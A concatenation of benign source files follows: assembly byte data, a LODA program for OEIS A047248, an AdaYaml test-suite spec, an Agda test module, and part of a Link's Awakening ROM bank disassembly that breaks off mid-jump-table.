; 32 .db #0x20 ; 32 .db #0x18 ; 24 .db #0x18 ; 24 .db #0x07 ; 7 .db #0x07 ; 7 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xc0 ; 192 .db #0xc0 ; 192 .db #0xe0 ; 224 .db #0x20 ; 32 .db #0x60 ; 96 .db #0x20 ; 32 .db #0x30 ; 48 '0' .db #0x10 ; 16 .db #0x30 ; 48 '0' .db #0x10 ; 16 .db #0x30 ; 48 '0' .db #0x10 ; 16 .db #0x30 ; 48 '0' .db #0x10 ; 16 .db #0x20 ; 32 .db #0x20 ; 32 .db #0x20 ; 32 .db #0x20 ; 32 .db #0xc0 ; 192 .db #0xc0 ; 192 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x38 ; 56 '8' .db #0x38 ; 56 '8' .db #0x44 ; 68 'D' .db #0x44 ; 68 'D' .db #0x64 ; 100 'd' .db #0x54 ; 84 'T' .db #0x54 ; 84 'T' .db #0x64 ; 100 'd' .db #0x64 ; 100 'd' .db #0x54 ; 84 'T' .db #0x54 ; 84 'T' .db #0x64 ; 100 'd' .db #0x64 ; 100 'd' .db #0x54 ; 84 'T' .db #0x54 ; 84 'T' .db #0x64 ; 100 'd' .db #0x6c ; 108 'l' .db #0x54 ; 84 'T' .db #0x5c ; 92 .db #0x64 ; 100 'd' .db #0x44 ; 68 'D' .db #0x7c ; 124 .db #0x38 ; 56 '8' .db #0x38 ; 56 '8' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x38 ; 56 '8' .db #0x38 ; 56 '8' .db #0x7c ; 124 .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x4c ; 76 'L' .db #0x44 ; 68 'D' .db #0x44 ; 68 'D' .db #0x44 ; 68 'D' .db #0x44 ; 68 'D' .db #0x44 ; 68 'D' .db #0x38 ; 56 '8' .db #0x38 ; 56 '8' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .area _INITIALIZER .area _CABS (ABS)
programs/oeis/047/A047248.asm
karttu/loda
1
96754
; A047248: Numbers that are congruent to {0, 2, 3, 4, 5} mod 6. ; 0,2,3,4,5,6,8,9,10,11,12,14,15,16,17,18,20,21,22,23,24,26,27,28,29,30,32,33,34,35,36,38,39,40,41,42,44,45,46,47,48,50,51,52,53,54,56,57,58,59,60,62,63,64,65,66,68,69,70,71,72,74,75,76,77,78,80,81,82,83,84,86,87,88,89,90,92,93,94,95,96,98,99,100,101,102,104,105,106,107,108,110,111,112,113,114,116,117,118,119,120,122,123,124,125,126,128,129,130,131,132,134,135,136,137,138,140,141,142,143,144,146,147,148,149,150,152,153,154,155,156,158,159,160,161,162,164,165,166,167,168,170,171,172,173,174,176,177,178,179,180,182,183,184,185,186,188,189,190,191,192,194,195,196,197,198,200,201,202,203,204,206,207,208,209,210,212,213,214,215,216,218,219,220,221,222,224,225,226,227,228,230,231,232,233,234,236,237,238,239,240,242,243,244,245,246,248,249,250,251,252,254,255,256,257,258,260,261,262,263,264,266,267,268,269,270,272,273,274,275,276,278,279,280,281,282,284,285,286,287,288,290,291,292,293,294,296,297,298,299 mov $1,$0 mul $1,6 add $1,4 div $1,5
test/src/yaml-dumping_tests-suite.ads
robdaemon/AdaYaml
32
9638
-- part of AdaYaml, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "copying.txt" with AUnit.Test_Suites; package Yaml.Dumping_Tests.Suite is function Suite return AUnit.Test_Suites.Access_Test_Suite; end Yaml.Dumping_Tests.Suite;
test/succeed/TelescopingLet5.agda
masondesu/agda
1
6945
<filename>test/succeed/TelescopingLet5.agda module TelescopingLet5 where postulate A : Set a : A module B (a : A) where postulate C : Set -- B.C : (a : A) → Set module N = B a module M' (open N) (c : C) where postulate cc : C -- M.cc : (a : B.A a) → B.A a E = let open B a in C module M (open B a) (x : A) where D = C postulate cc : C -- M.cc : (a : B.A a) → B.A a
projects/Links_Awakening_gb.windfish/disassembly/bank_03.asm
jverkoey/awaken
68
83402
SECTION "ROM Bank 03", ROMX[$4000], BANK[$03] db $03, $19, $03, $18, $03, $03, $03, $07 db $18, $03, $03, $03, $03, $06, $04, $06 db $04, $04, $04, $03, $07, $06, $06, $06 db $06, $06, $06, $06, $06, $06, $15, $06 db $06, $06, $06, $06, $03, $03, $03, $06 db $19, $04, $04, $15, $07, $03, $03, $03 db $03, $03, $03, $03, $03, $03, $03, $03 db $03, $03, $03, $03, $03, $03, $05, $05 db $05, $06, $18, $15, $15, $15, $15, $15 db $15, $15, $03, $03, $04, $04, $04, $04 db $06, $04, $04, $04, $04, $04, $04, $04 db $04, $04, $04, $04, $04, $05, $05, $07 db $05, $19, $05, $05, $18, $05, $15, $05 db $15, $18, $05, $18, $05, $05, $06, $19 db $06, $06, $06, $06, $18, $18, $18, $06 db $06, $06, $06, $06, $06, $06, $06, $18 db $06, $06, $06, $06, $06, $06, $06, $06 db $06, $06, $06, $06, $06, $06, $06, $19 db $06, $06, $06, $06, $07, $06, $19, $19 db $07, $07, $07, $07, $07, $19, $07, $07 db $07, $07, $07, $07, $07, $07, $07, $07 db $07, $07, $19, $19, $19, $07, $07, $07 db $07, $07, $15, $07, $07, $07, $07, $07 db $07, $18, $18, $07, $18, $18, $18, $18 db $18, $18, $18, $18, $18, $15, $15, $18 db $18, $18, $18, $18, $15, $19, $18, $19 db $18, $18, $18, $18, $19, $19, $19, $19 db $19, $19, $19, $19, $19, $19, $19, $19 db $15, $15, $15, $15, $15, $06, $15, $15 db $17, $42, $C2, $D2, $C2, $C2, $D2, $C2 db $C2, $C3, $12, $42, $12, $42, $12, $12 db $92, $12, $18, $12, $11, $12, $02, $02 db $02, $12, $02, $12, $12, $11, $02, $12 db $12, $12, $02, $42, $92, $12, $E2, $E2 db $02, $12, $02, $02, $41, $12, $B1, $B1 db $B1, $B1, $B1, $B2, $B2, $B1, $B2, $B2 db $B2, $B1, $92, $B2, $B1, $B2, $B1, $82 db $92, $84, $92, $82, $C0, $C0, $C2, $82 db $82, $82, $82, $82, $82, $41, $82, $82 db $82, $12, $02, $42, $42, $C2, $02, $02 db $02, $42, $08, $48, $00, $91, $02, $00 db $00, $02, $C2, $08, $02, $C0, $00, $82 db $02, $C0, $C2, $92, $82, $92, $12, $C1 db $92, $92, $92, $92, $92, $93, $92, $92 db $92, $92, $92, $52, $92, $00, $42, $02 db $82, $92, $00, $42, $C2, $D1, $D2, $D1 db $12, $84, $0C, $C2, $C2, $92, $92, $08 db $12, $12, $13, $14, $12, $80, $92, $92 db $C0, $D2, $12, $C0, $D2, $12, $94, $C0 db $12, $12, $12, $14, $C4, $C4, $C4, $C2 db $8A, $92, $02, $12, $12, $12, $92, $12 db $B2, $02, $82, $C0, $82, $92, $82, $92 db $94, $95, $12, $13, $12, $12, $13, $16 db $52, $C0, $D2, $D2, $94, $98, $12, $12 db $D0, $D2, $C1, $88, $02, $52, $85, $84 db $C2, $82, $82, $82, $D2, $D2, $D2, $82 db $02, $C2, $C8, $42, $48, $C4, $C2, $C2 db $C2, $D3, $D2, $42, $12, $13, $D2, $50 db $C0, $00, $00, $00, $01, $01, $01, $00 db $06, $00, $00, $00, $00, $00, $00, $00 db $00, $80, $00, $08, $00, $01, $00, $00 db $03, $03, $00, $00, $00, $00, $10, $02 db $00, $00, $00, $00, $00, $00, $00, $80 db $80, $82, $00, $00, $80, $00, $80, $1D db $1D, $1D, $1D, $1D, $01, $1D, $1D, $1D db $1D, $1D, $1D, $9D, $1D, $1D, $1D, $1D db $98, $98, $98, $98, $98, $98, $98, $00 db $84, $84, $84, $84, $98, $98, $00, $98 db $98, $98, $00, $00, $00, $00, $80, $00 db $00, $00, $00, $88, $08, $00, $80, $80 db $80, $A8, $80, $00, $00, $00, $00, $00 db $00, $80, $00, $00, $80, $98, $00, $80 db $00, $00, $98, $98, $98, $98, $98, $98 db $98, $98, $80, $98, $00, $98, $08, $10 db $00, $80, $98, $00, $20, $00, $00, $00 db $38, $00, $88, $08, $04, $04, $84, $84 db $88, $00, $00, $00, $80, $00, $00, $80 db $80, $00, $00, $00, $00, $00, $00, $A4 db $00, $00, $00, $00, $00, $2C, $2C, $2C db $30, $A4, $80, $00, $00, $00, $00, $80 db $00, $1D, $00, $98, $00, $98, $98, $B4 db $98, $98, $98, $00, $00, $00, $00, $00 db $80, $00, $00, $18, $18, $B4, $B4, $06 db $00, $34, $98, $00, $80, $00, $00, $98 db $98, $00, $98, $98, $98, $98, $00, $18 db $BD, $80, $2D, $2D, $00, $0A, $00, $00 db $00, $00, $00, $00, $00, $00, $84, $38 db $00, $00, $00, $00, $00, $02, $00, $00 db $00, $00, $00, $00, $00, $0D, $01, $0D db $01, $01, $08, $13, $13, $13, $00, $01 db $06, $2C, $2C, $0C, $00, $2A, $00, $00 db $00, $2A, $2F, $0B, $0C, $0E, $01, $01 db $06, $06, $09, $04, $01, $00, $0E, $01 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $0E db $00, $00, $00, $20, $13, $00, $00, $00 db $0B, $0B, $30, $0E, $18, $1D, $1A, $19 db $1C, $10, $11, $12, $00, $1F, $1E, $00 db $1B, $22, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $21, $00, $29 db $00, $29, $00, $00, $13, $00, $00, $00 db $00, $00, $13, $15, $14, $01, $01, $01 db $01, $13, $24, $2D, $2E, $13, $25, $23 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $02, $00, $00, $00, $00 db $00, $00, $00, $00, $0F, $2B, $00, $00 db $00, $13, $00, $00, $00, $00, $00, $00 db $00, $01, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $28, $00, $13 db $00, $26, $00, $00, $12, $12, $0A, $12 db $12, $0A, $02, $02, $02, $08, $12, $08 db $12, $08, $00, $40, $11, $11, $11, $00 db $08, $12, $12, $12, $08, $11, $08, $08 db $08, $10, $08, $08, $08, $08, $12, $08 db $08, $08, $08, $52, $08, $08, $0A, $12 db $08, $0A, $0A, $13, $0A, $0A, $0A, $0A db $0A, $0A, $08, $0A, $0A, $08, $0A, $0A db $1B, $1A, $02, $02, $02, $02, $02, $02 db $02, $42, $02, $02, $02, $02, $02, $02 db $12, $00, $02, $02, $30, $08, $02, $02 db $02, $08, $08, $08, $12, $D0, $90, $90 db $D0, $90, $D4, $84, $D4, $02, $D0, $90 db $02, $80, $02, $42, $12, $02, $02, $02 db $02, $43, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $20, $00 db $02, $02, $02, $40, $00, $84, $40, $00 db $00, $00, $02, $84, $C4, $94, $00, $00 db $00, $00, $84, $00, $00, $00, $C4, $10 db $00, $00, $00, $00, $00, $10, $00, $00 db $00, $42, $02, $00, $00, $00, $00, $02 db $02, $02, $02, $42, $42, $00, $10, $10 db $08, $18, $00, $13, $00, $12, $00, $02 db $02, $02, $02, $02, $02, $00, $01, $00 db $84, $11, $84, $00, $00, $03, $02, $02 db $02, $02, $02, $02, $02, $02, $02, $02 db $02, $02, $02, $02, $00, $00, $00, $00 db $00, $03, $02, $42, $42, $02, $02, $02 db $02, $02, $02, $12, $02, $02, $02, $02 db $00, $02, $00, $02, $02, $01, $01, $01 db $00, $00, $01, $02, $01, $02, $03, $03 db $02, $00, $00, $00, $00, $01, $01, $01 db $00, $00, $02, $02, $02, $02, $03, $03 db $02, $00, $00, $00, $00, $01, $01, $01 db $00, $00, $02, $02, $02, $02, $01, $03 db $02, $00, $00, $00, $00, $01, $01, $01 db $00, $00, $02, $01, $02, $01, $01, $03 db $02, $00, $00, $00, $00, $00, $03, $03 db $00, $00, $00, $01, $00, $01, $00, $00 db $01, $00, $00, $00, $00, $00, $00, $03 db $00, $00, $00, $01, $00, $01, $00, $00 db $01, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $02, $03, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $01, $03, $01, $02, $03, $01 db $01, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $03, $01, $02, $04, $00, $00 db $01, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $01, $01, $01, $01, $03 db $01, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $01, $03, $01, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $01, $01, $03, $01, $01, $01 db $03, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $02, $01, $02, $02, $02, $03 db $03, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $02, $02, $02, $04, $00, $01 db $02, $00, $00, $00, $00, $01, $02, $02 db $00, $00, $00, $00, $03, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $02, $00, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $02, $02, $02, $02, $02, $00, $02 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $02, $02, $02, $02, $04, $00, $02 db $02, $00, $00, $00, $00, $00, $01, $01 db $01, $02, $01, $00, $00, $00, $00, $01 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $01 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $01 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $00, $00, $02, $00, $00, $02 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $00, $00, $00, $00, $00, $02 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $00, $02, $00, $00, $01 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $00, $00, $00, $00, $00, $01 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $00, $00, $02, $00, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $02, $02, $00, $00, $02 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $00, $00, $00, $00, $00, $02 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $00, $00, $00, $00, $02 db $01, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $02, $01, $02, $00, $01 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $02, $01, $02, $00, $01 db $02, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $01, $00, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $01, $02, $01, $00, $03 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $01, $00, $00, $00, $01 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $02, $01, $02, $00, $01 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $02, $01, $02, $00, $01 db $02, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $01 db $01, $01, $00, $02, $00, $02, $00, $03 db $00, $00, $00, $00, $00, $01, $01, $01 db $00, $00, $02, $02, $02, $02, $00, $00 db $02, $00, $00, $00, $00, $01, $01, $01 db $00, $00, $02, $00, $00, $05, $02, $03 db $03, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $05, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $02, $01, $04, $00, $01 db $02, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $02, $04, $00, $02 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $01, $02, $04, $00, $03 db $02, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $02, $02, $01, $01, $00, $03 db $02, $00, $00, $00, $00, $00, $01, $02 db $40, $00, $00, $00, $00, $00, $02, $01 db $40, $00, $00, $00, $00, $00, $04, $02 db $40, $00, $00, $00, $00, $00, $08, $04 db $40, $00, $00, $00, $00, $00, $10, $08 db $40, $00, $00, $00, $00, $00, $01, $04 db $40, $00, $00, $00, $00, $00, $FF, $02 db $40, $00, $00, $00, $00, $00, $01, $04 db $40, $00, $00, $00, $00, $00, $FF, $18 db $FE, $02, $FD, $00, $00, $00, $FF, $FD db $FE, $00, $00, $00, $00, $00, $01, $04 db $FE, $00, $00, $00, $00, $00, $FF, $02 db $40, $00, $00, $00, $00, $00, $01, $02 db $40, $00, $00, $00, $00, $00, $01, $02 db $40, $00, $00, $00, $00, $00, $01, $02 db $40, $00, $00, $00, $00, $00, $01, $02 db $40, $00, $00, $00, $00, $01, $02, $02 db $04, $04, $04, $04, $04, $04, $04, $04 db $04, $04, $04, $04, $04, $0C, $3F, $08 db $08, $08, $0C, $00, $00, $04, $06, $08 db $0A, $04, $14, $0A, $18, $04, $02, $08 db $08, $02, $04, $FF, $00, $02, $04, $02 db $03, $01, $01, $08, $06, $02, $04, $04 db $08, $08, $18, $08, $04, $08, $10, $08 db $10, $08, $08, $04, $08, $08, $08, $08 db $08, $08, $08, $0C, $00, $00, $08, $08 db $08, $0C, $0C, $14, $10, $20, $08, $08 db $04, $04, $04, $04, $04, $00, $14, $08 db $04, $08, $04, $04, $08, $08, $04, $02 db $06, $01, $03, $03, $03, $0D, $08, $0A db $02, $07, $0B, $00, $04, $00, $08, $04 db $0E, $0E, $0E, $0E, $0E, $00, $03, $03 db $03, $03, $03, $03, $03, $03, $03, $03 db $02, $00, $00, $02, $00, $00, $00, $00 db $06, $06, $0D, $0E, $00, $09, $03, $06 toc_03_48B0: call toc_01_38CF ld a, [$FFF6] ld hl, $C3E0 add hl, bc ld [hl], a ld hl, $C460 add hl, bc ld [hl], $FF .toc_03_48C0: ld hl, $C3A0 add hl, bc ld e, [hl] ld d, b ld hl, $40E9 add hl, de ld a, [hl] ld hl, $C340 add hl, bc ld [hl], a ld hl, $41D2 add hl, de ld a, [hl] ld hl, $C350 add hl, bc ld [hl], a call toc_03_48EA ld hl, $43A4 add hl, de ld a, [hl] ld hl, $C430 add hl, bc ld [hl], a jp toc_01_3B65 toc_03_48EA: push de ld hl, $42BB add hl, de ld e, [hl] ld hl, $C4D0 add hl, bc ld [hl], e ld d, b ld hl, $481D add hl, de ld a, [hl] ld hl, $C360 add hl, bc ld [hl], a pop de ret toc_03_4902: assign [$C18F], $01 jp toc_01_3F7A.else_01_3FB7 JumpTable_490A_03: ld hl, $C430 add hl, bc .JumpTable_490E_03: ld a, [hl] and %10000000 jr z, .else_03_496D ld a, [$FFF8] and %00110000 jr z, .else_03_491C jp toc_01_3F7A.else_01_3FB7 .else_03_491C: ifEq [$FFEB], $5F, .else_03_4945 ifNe [$FFF6], $95, .else_03_4945 cp $92 jr z, .else_03_4945 cp $84 jr z, .else_03_4937 ld a, [$D984] and %00110000 jr z, toc_03_4902 .else_03_4937: ld a, [$D992] and %00110000 jr z, toc_03_4902 ld a, [$D995] and %00110000 jr z, toc_03_4902 .else_03_4945: ifNotZero [$DBA5], .else_03_495D _ifZero [$D478], .else_03_4960 ld hl, $C430 add hl, bc ld a, [hl] and %00000100 jr z, .else_03_495D ld [$C1CF], a .else_03_495D: call toc_01_27D2 .else_03_4960: clear [$C1BD] inc a ld [$C1BE], a assign [$C165], $20 .else_03_496D: ld hl, $C280 add hl, bc ld [hl], $05 ld a, [$FFEB] jumptable dw JumpTable_4D09_03 ; 00 dw JumpTable_4D09_03 ; 01 dw JumpTable_4D09_03 ; 02 dw JumpTable_4D09_03 ; 03 dw JumpTable_4D09_03 ; 04 dw JumpTable_4D09_03 ; 05 dw JumpTable_520D_03 ; 06 dw toc_03_5115.JumpTable_5123_03 ; 07 dw JumpTable_4D09_03 ; 08 dw JumpTable_5067_03 ; 09 dw JumpTable_4D09_03 ; 0A dw JumpTable_5067_03 ; 0B dw JumpTable_4D09_03 ; 0C dw JumpTable_4D09_03 ; 0D dw JumpTable_4D19_03 ; 0E dw JumpTable_4D09_03 ; 0F dw JumpTable_506D_03 ; 10 dw JumpTable_506D_03 ; 11 dw JumpTable_506D_03 ; 12 dw JumpTable_5A34_03 ; 13 dw JumpTable_4F99_03 ; 14 dw JumpTable_4F5F_03 ; 15 dw JumpTable_4F85_03 ; 16 dw JumpTable_4F7B_03 ; 17 dw JumpTable_4D09_03 ; 18 dw JumpTable_4D09_03 ; 19 dw JumpTable_4D09_03 ; 1A dw JumpTable_4B77_03 ; 1B dw JumpTable_4D09_03 ; 1C dw JumpTable_4F8E_03 ; 1D dw JumpTable_3B8D_00 ; 1E dw JumpTable_3B8D_00 ; 1F dw JumpTable_4D09_03 ; 20 dw JumpTable_4F8E_03 ; 21 dw JumpTable_4D09_03 ; 22 dw JumpTable_3B8D_00 ; 23 dw JumpTable_4D09_03 ; 24 dw JumpTable_4D1E_03 ; 25 dw JumpTable_4D1E_03 ; 26 dw JumpTable_4D09_03 ; 27 dw JumpTable_4D09_03 ; 28 dw JumpTable_3DDB_00 ; 29 dw JumpTable_4D09_03 ; 2A dw JumpTable_4D09_03 ; 2B dw JumpTable_4D09_03 ; 2C dw toc_03_4FCA.JumpTable_4FD6_03 ; 2D dw JumpTable_5032_03 ; 2E dw JumpTable_5032_03 ; 2F dw JumpTable_4FE5_03 ; 30 dw JumpTable_4C7E_03 ; 31 dw JumpTable_5032_03 ; 32 dw JumpTable_5032_03 ; 33 dw JumpTable_5032_03 ; 34 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 35 dw JumpTable_5032_03 ; 36 dw JumpTable_5032_03 ; 37 dw JumpTable_5032_03 ; 38 dw JumpTable_5059_03 ; 39 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 3A dw toc_03_4FCA.JumpTable_4FD6_03 ; 3B dw toc_03_4FCA.JumpTable_4FD6_03 ; 3C dw JumpTable_4FB2_03 ; 3D dw JumpTable_4C86_03 ; 3E dw JumpTable_4CEC_03 ; 3F dw JumpTable_4CFF_03 ; 40 dw JumpTable_4C79_03 ; 41 dw JumpTable_4D09_03 ; 42 dw JumpTable_5059_03 ; 43 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 44 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 45 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 46 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 47 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 48 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 49 dw JumpTable_4D09_03 ; 4A dw JumpTable_4D09_03 ; 4B dw JumpTable_4D09_03 ; 4C dw JumpTable_4D00_03 ; 4D dw JumpTable_4D09_03 ; 4E dw JumpTable_4CEC_03.JumpTable_4CF2_03 ; 4F dw JumpTable_4D09_03 ; 50 dw JumpTable_4D09_03 ; 51 dw JumpTable_4D09_03 ; 52 dw JumpTable_4D09_03 ; 53 dw JumpTable_4CEC_03.JumpTable_4CF2_03 ; 54 dw JumpTable_4D09_03 ; 55 dw JumpTable_4D09_03 ; 56 dw JumpTable_4D09_03 ; 57 dw JumpTable_4D09_03 ; 58 dw JumpTable_3DE6_00 ; 59 dw JumpTable_3DF1_00 ; 5A dw JumpTable_3DFC_00 ; 5B dw JumpTable_3E07_00 ; 5C dw JumpTable_3E12_00 ; 5D dw JumpTable_4D09_03 ; 5E dw JumpTable_4D09_03 ; 5F dw JumpTable_3E1D_00 ; 60 dw JumpTable_5028_03 ; 61 dw JumpTable_3E28_00 ; 62 dw JumpTable_3E33_00 ; 63 dw JumpTable_4D14_03 ; 64 dw JumpTable_3E3E_00 ; 65 dw JumpTable_4D09_03 ; 66 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 67 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 68 dw JumpTable_4BE6_03 ; 69 dw JumpTable_4CD8_03 ; 6A dw JumpTable_4D09_03.JumpTable_4D13_03 ; 6B dw JumpTable_4D09_03.JumpTable_4D13_03 ; 6C dw JumpTable_4C61_03 ; 6D dw JumpTable_4D09_03.JumpTable_4D13_03 ; 6E dw JumpTable_4D09_03.JumpTable_4D13_03 ; 6F dw JumpTable_4CEC_03 ; 70 dw JumpTable_4C2B_03 ; 71 dw JumpTable_4C2B_03.JumpTable_4C39_03 ; 72 dw JumpTable_4CEC_03 ; 73 dw JumpTable_4CEC_03 ; 74 dw JumpTable_4CEC_03 ; 75 dw JumpTable_4C3A_03 ; 76 dw JumpTable_4CEC_03 ; 77 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 78 dw JumpTable_4CCB_03 ; 79 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 7A dw JumpTable_4CEC_03 ; 7B dw JumpTable_5032_03.JumpTable_503B_03 ; 7C dw JumpTable_4D09_03.JumpTable_4D13_03 ; 7D dw JumpTable_4D09_03.JumpTable_4D13_03 ; 7E dw JumpTable_4D09_03.JumpTable_4D13_03 ; 7F dw JumpTable_4BA0_03 ; 80 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 81 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 82 dw JumpTable_4BBF_03 ; 83 dw JumpTable_4C46_03 ; 84 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 85 dw JumpTable_4C06_03 ; 86 dw JumpTable_4BF4_03 ; 87 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 88 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 89 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 8A dw JumpTable_4D09_03.JumpTable_4D13_03 ; 8B dw JumpTable_4D09_03.JumpTable_4D13_03 ; 8C dw JumpTable_4D09_03.JumpTable_4D13_03 ; 8D dw JumpTable_5032_03.JumpTable_503B_03 ; 8E dw JumpTable_4D09_03.JumpTable_4D13_03 ; 8F dw JumpTable_4D09_03.JumpTable_4D13_03 ; 90 dw JumpTable_4BDA_03 ; 91 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 92 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 93 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 94 dw JumpTable_4BA4_03 ; 95 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 96 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 97 dw JumpTable_4B4A_03 ; 98 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 99 dw JumpTable_4D09_03.JumpTable_4D13_03 ; 9A dw JumpTable_4D09_03.JumpTable_4D13_03 ; 9B dw JumpTable_4F5F_03 ; 9C dw JumpTable_4D09_03.JumpTable_4D13_03 ; 9D dw JumpTable_4BD4_03 ; 9E dw JumpTable_4D09_03.JumpTable_4D13_03 ; 9F dw JumpTable_4D09_03.JumpTable_4D13_03 ; A0 dw JumpTable_4B61_03 ; A1 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A2 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A3 dw JumpTable_4B67_03 ; A4 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A5 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A6 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A7 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A8 dw JumpTable_4D09_03.JumpTable_4D13_03 ; A9 dw JumpTable_4D09_03.JumpTable_4D13_03 ; AA dw JumpTable_4D09_03.JumpTable_4D13_03 ; AB dw JumpTable_4D09_03.JumpTable_4D13_03 ; AC dw JumpTable_4BC7_03 ; AD dw JumpTable_4D09_03 ; AE dw JumpTable_5020_03 ; AF dw JumpTable_4D09_03.JumpTable_4D13_03 ; B0 dw JumpTable_4D09_03.JumpTable_4D13_03 ; B1 dw JumpTable_4D09_03.JumpTable_4D13_03 ; B2 dw JumpTable_5032_03.JumpTable_503B_03 ; B3 dw JumpTable_4B98_03 ; B4 dw JumpTable_4D09_03.JumpTable_4D13_03 ; B5 dw JumpTable_4D09_03.JumpTable_4D13_03 ; B6 dw JumpTable_4D09_03.JumpTable_4D13_03 ; B7 dw JumpTable_4BC3_03 ; B8 dw JumpTable_4D09_03.JumpTable_4D13_03 ; B9 dw JumpTable_4B89_03 ; BA dw JumpTable_4B89_03.JumpTable_4B97_03 ; BB dw JumpTable_5032_03.JumpTable_503B_03 ; BC dw JumpTable_4D09_03.JumpTable_4D13_03 ; BD dw 